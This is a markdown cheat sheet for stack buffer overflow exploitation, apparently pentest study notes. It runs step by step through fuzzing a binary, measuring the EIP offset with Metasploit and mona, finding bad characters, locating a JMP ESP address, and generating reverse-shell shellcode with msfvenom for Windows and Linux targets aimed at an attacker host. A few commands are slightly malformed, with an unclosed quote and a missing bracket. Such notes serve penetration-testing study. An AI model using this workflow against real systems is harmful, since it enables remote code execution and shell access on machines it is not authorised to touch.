# Buffer Overflow

* [Cheat Sheet](https://github.com/Tib3rius/Pentest-Cheatsheets/blob/master/exploits/buffer-overflows.rst)

# Usage

* Fuzz & crash the binary pretty roughly via payload 
```sh
python -c "print('A' * 3000)
```

## Fuzzing 

* python 3
../fuzzer.py

* python 2
../fuzzer2.py

## Measure Offset

### Metasploit
* Use as payload
```sh
/opt/metasploit/tools/exploit/pattern_create.rb -l <bufferlength>
```

* Find content of the payload at EIP and identify exact bufferlength
```sh
/opt/metasploit/tools/exploit/pattern_offset.rb -l <bufferlength> -q <EIP-content>
```

### Gef

```sh
file <filename>
pattern create
pattern search <Pattern found in $rbx>
```

### Infinity Debugger

```sh
msf-pattern_offset -l <bufferlength> -q <EIP>
```

```sh
mona msfpattern -l <bufferlength>
```
* Fill offset variable in exploit `buffer_overflow.py`
../buffer_overflow.py

* Execute buffer_overflow.py, EIP should contain `BBBB`

## Find bad characters to input in the buffer

* Execute `bad_chars.py` and include it as payload. Always excluded is `\x00`.
../bad_chars.py

* Compare stack if any bad chars block exectuion of the payload following in the next steps.
```sh
!mona bytearray -b "\x00"
!mona compare -f <path_to_bytearray.bin> -a <ESP>
```

## Find Jump Point / RoP 

* Jump point to `ESP` (32 bit binary) needs to be found to put it inside `EIP`

### Example: Immunity Debugger using mona on windows machine

```sh
!mona modules
```
```sh
!mona jmp -r esp -m <exploitable_bin_from_modules>
```
* The found address needs to be **LITTLE ENDIAN NOTATION INSIDE THE EIP VARIABLE** if x86/amd64

## Shellcode as Payload

* Last part is the individual shellcode, put it in the payload variable of `buffer_overflow.py`
```sh
msfvenom -p windows/shell_reverse_tcp LHOST=<attacker-ip> LPORT=<attacker-port> -f c -e x86/shikata_ga_nai -b "\x00"
msfvenom -p linux/x86/shell_reverse_tcp LHOST=<attacker-ip LPORT=<attacker-port> -f c -e x86/shikata_ga_nai -b "\x00"
```  
* Prepend NOPs as padding before shellcode

